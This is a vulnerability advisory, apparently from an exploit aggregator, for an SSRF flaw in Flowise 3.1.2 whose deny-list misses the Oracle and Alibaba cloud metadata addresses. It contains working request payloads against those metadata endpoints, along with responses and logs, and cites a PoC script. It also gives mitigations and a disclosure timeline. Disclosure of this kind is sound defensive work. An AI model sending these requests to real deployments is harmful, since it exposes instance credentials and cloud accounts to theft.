## https://sploitus.com/exploit?id=98887D9A-D30E-576D-BE46-80C20BA57CE7
# CVE-2026-67620 — Flowise SSRF via incomplete cloud-metadata deny-list (Oracle OCI + Alibaba Cloud)
**Product:** [FlowiseAI/Flowise](https://github.com/FlowiseAI/Flowise) — visual LLM / AI-agent builder (~54k ★)
**Affected version:** 3.1.2 (and earlier releases containing the same deny-list)
**Vulnerability:** Server-Side Request Forgery via an incomplete deny-list
**CWE:** CWE-918 (SSRF) · CWE-184 (Incomplete List of Disallowed Inputs)
**Severity:** Medium — CVSS 3.1 **6.5** (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`)
**Discovered:** 2026-07-10 · **Reported to VulnCheck (CVD):** 2026-07-15
**Researcher:** Bobur Abdugafforov (Mahadsec)
> **Vendor status — no patch will be issued.** The Flowise project has been officially
> sunset and is no longer accepting security vulnerability reports. This advisory is
> published so that operators still running Flowise can mitigate the issue themselves.
---
## Summary
Flowise ships an SSRF guard that blocks requests to cloud instance-metadata services. The
deny-list covers the `169.254.0.0/16` link-local range used by AWS, GCP, Azure and
DigitalOcean — but **omits two metadata addresses that are not in that range**:
| Cloud | Metadata IP | In deny-list? |
|---|---|---|
| AWS / GCP / Azure / DigitalOcean | `169.254.169.254` | ✅ blocked |
| **Oracle Cloud (OCI)** | **`192.0.0.192`** | ❌ **not blocked** |
| **Alibaba Cloud** | **`100.100.100.200`** | ❌ **not blocked** |
Neither omitted address falls inside a conventional private or link-local CIDR:
`192.0.0.192` is inside the IETF Protocol Assignments block `192.0.0.0/24` and looks
globally routable, while `100.100.100.200` sits in the CGNAT range `100.64.0.0/10`, which
the deny-list also does not cover. A guard built by enumerating "the metadata IP" and the
link-local range therefore misses both.
An authenticated user can force the Flowise server to issue arbitrary GET requests to
these addresses. On an OCI or Alibaba Cloud deployment this reaches the instance metadata
service, which serves instance identity and credential material.
## Affected code
`packages/components/src/httpSecurity.ts` — `DEFAULT_DENY_LIST`
(compiled: `httpSecurity.js:31-50`)
The list contains `169.254.169.254` and the `169.254.0.0/16` range, but does **not**
contain `192.0.0.192`, `100.100.100.200`, or the `100.64.0.0/10` CGNAT range.
Request flow: `GET /api/v1/fetch-links` → `checkDenyList(url)` → `secureFetch()` via
`webCrawl`. `secureFetch` correctly re-validates redirect targets, so redirect-based
bypasses are handled — the defect is the **contents** of the list, which means a redirect
to either omitted IP passes validation just as a direct request does.
The `fetch-links` route carries **no `checkPermission`** middleware, so any authenticated
session reaches it regardless of role.
## Affected endpoint
```
GET /api/v1/fetch-links?url=&relativeLinksMethod=webCrawl&limit=1
```
Every node routing through `secureFetch` / `secureAxiosRequest` with a user-supplied URL
is affected by the same deny-list — for example the web-scraper and HTTP-request nodes.
**Note on reachability:** the issue is additionally reachable **unauthenticated** through
the public `POST /api/v1/prediction/:id` endpoint whenever a URL-fetching node is present
in a chatflow that has been made public.
## Reproduction
Confirmed dynamically against a live local Flowise 3.1.2 instance, with listeners bound to
`192.0.0.192:80` and `100.100.100.200:80`.
**Control — AWS/GCP/Azure metadata IP is correctly blocked:**
```http
GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1
```
```
HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.
```
**Bypass 1 — Oracle Cloud metadata:**
```http
GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1
```
```
HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}
```
**Bypass 2 — Alibaba Cloud metadata:**
```http
GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1
```
```
HTTP/1.1 200
```
**Server-side requests observed on the listeners** (proving the fetch originated from the
Flowise server, not the client):
```
# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -
# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -
```
A PoC script is included as [`poc.py`](poc.py).
## Impact
Any authenticated Flowise user — and, where a URL-fetching node sits in a public chatflow,
any unauthenticated visitor — can make the server issue GET requests to the Oracle Cloud
and Alibaba Cloud instance-metadata services, which the product explicitly attempts to
prevent for other providers.
On an affected deployment this exposes instance identity data and the metadata endpoints
that serve instance-role credentials, from which further access to the victim's cloud
account follows. More broadly, the same gap allows requests into the `100.64.0.0/10` CGNAT
range, which is routable inside many provider networks.
The severity reflects that exploitation requires the Flowise instance to be hosted on OCI
or Alibaba Cloud. The defect itself — an incomplete deny-list — is provider-independent.
## Mitigation
No vendor patch will be issued; the project is sunset. Operators should:
1. **Switch from a deny-list to an allow-list.** Permit only the specific external hosts a
deployment needs. This is the only approach that is not defeated by the next
provider-specific metadata address.
2. **Block the omitted ranges at the network layer** — egress rules denying `192.0.0.0/24`
and `100.64.0.0/10` from the Flowise host — since the application cannot be fixed.
3. **Audit public chatflows** for URL-fetching nodes (web-scraper, HTTP request), which
expose this without authentication.
4. **Enforce IMDSv2** (or the provider equivalent requiring a `PUT`-obtained token) so a
plain SSRF `GET` cannot retrieve credentials.
5. **Migrate off Flowise**, given that it no longer receives security maintenance.
If patching a local fork, add to `DEFAULT_DENY_LIST` in
`packages/components/src/httpSecurity.ts`: `192.0.0.192`, `100.100.100.200`, and the
ranges `192.0.0.0/24` and `100.64.0.0/10`.
## Timeline
| Date | Event |
|---|---|
| 2026-07-10 | Vulnerability discovered and confirmed on a live local instance |
| 2026-07-15 | Reported to VulnCheck for coordinated disclosure |
| 2026-08 | VulnCheck advised the project is sunset and no longer accepting reports; CVE-2026-67620 allocated and public disclosure authorised |
| — | Public disclosure (this advisory) |
## Credit
Bobur Abdugafforov — Mahadsec
## License
This advisory and PoC are released for defensive and educational use. Test only systems
you own or are authorised to test.